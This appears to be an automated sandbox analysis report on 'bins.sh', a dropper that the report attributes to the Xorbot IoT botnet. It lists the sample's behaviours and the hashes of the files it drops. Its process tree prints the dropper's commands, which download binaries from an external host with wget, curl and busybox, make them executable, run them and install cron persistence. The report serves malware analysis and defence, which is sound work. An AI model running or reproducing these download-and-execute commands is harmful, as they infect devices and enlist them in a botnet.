Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/02/2025, 02:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyavrbk
  • SHA256 cd0cdef86e58c6080213cb20487b66bbdda6a6802c596a0e17895fe80af92fd3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1779) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:651
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:653
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:656
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:674
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:688
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:711
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:713
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:715
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:717
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:718
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:719
            • /bin/rm
              rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
              2⤵
                PID:738
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                • System Network Configuration Discovery
                PID:740
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                PID:741
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:743
              • /bin/chmod
                chmod 777 CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                • File and Directory Permissions Modification
                PID:746
              • /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                ./CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                  PID:747
                • /bin/rm
                  rm CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                  2⤵
                    PID:749
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    2⤵
                    • System Network Configuration Discovery
                    PID:750
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    2⤵
                    • System Network Configuration Discovery
                    PID:753
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:756
                  • /bin/chmod
                    chmod 777 H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    2⤵
                    • File and Directory Permissions Modification
                    PID:781
                  • /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    ./H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                    2⤵
                      PID:782
                    • /bin/rm
                      rm H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                      2⤵
                        PID:784
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/wd4CtllDgLth9wWL2VrukVTzMVfCFoXobl
                        2⤵
                        • System Network Configuration Discovery
                        PID:785

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                          • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                          • Size 122KB
                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                          • Path /tmp/H2OPhjCN1tmCpe3ettLUzxR8mvQs5gRzci
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                          • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.WWdV6E
                          • Path /var/spool/cron/crontabs/tmp.WWdV6E
                          • Size 210B
                          • SHA256 d29f99f432ed425c1146de16bc03cb772f589dc0121a9197b9dda36b8e565475
                          • MD5 SHA1 SHA512
                          Submit Download